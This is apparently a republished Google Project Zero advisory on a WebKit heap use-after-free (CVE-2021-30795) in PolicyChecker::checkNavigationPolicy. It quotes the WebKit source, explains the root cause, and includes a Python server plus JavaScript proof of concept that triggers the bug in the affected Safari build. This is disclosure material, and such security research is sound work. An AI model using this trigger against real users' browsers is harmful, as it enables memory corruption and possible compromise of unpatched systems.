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Google Security ResearchPACKETSTORM:163880
HistoryAug 19, 2021 - 12:00 a.m.

WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free

2021-08-1900:00:00
Google Security Research
packetstormsecurity.com
200
`WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy  
  
VULNERABILITY DETAILS  
PolicyChecker.cpp:  
```  
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)  
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())  
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())  
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)  
[...]  
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)  
{  
[...]  
if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {  
if (m_frame.ownerElement()) {  
// Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise  
// reveal that the frame was blocked. This way, it looks like any other cross-origin page load.  
m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));  
}  
RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");  
function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);  
return;  
}  
```  
  
FrameLoader.cpp:  
```  
[...]  
Optional<PageIdentifier> FrameLoader::pageID() const  
{  
return client().pageID();  
}  
```  
  
FrameLoaderClient.h:  
```  
class WEBCORE_EXPORT FrameLoaderClient {  
[...]  
virtual Optional<PageIdentifier> pageID() const = 0;  
virtual Optional<FrameIdentifier> frameID() const = 0;  
}  
```  
  
  
`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.  
  
  
REPRODUCTION CASE  
Visit http://localhost:8000/  
```  
import sys  
from http.server import HTTPServer, BaseHTTPRequestHandler  
  
html_source = b'''  
<body>  
<script>  
frame = document.createElement('iframe');  
frame.onload = () => frame.remove();  
frame.src = '/redirect';  
document.body.appendChild(frame);  
</script>  
</body>  
'''  
  
class Handler(BaseHTTPRequestHandler):  
def do_GET(self):  
if self.path == '/redirect':  
self.send_response(302)  
self.send_header('Location', 'http://example.com/')  
self.end_headers()  
else:  
self.send_response(200)  
self.send_header('Content-Security-Policy', 'frame-src localhost:8000')  
self.end_headers()  
self.wfile.write(html_source)  
  
HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()  
```  
  
  
VERSION  
WebKit r277716  
Safari 14.1 (16611.1.21.161.6)  
  
  
CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2021-08-24.  
  
  
Related CVE Numbers: CVE-2021-30795.  
  
  
  
Found by: glazunov@google.com  
  
`
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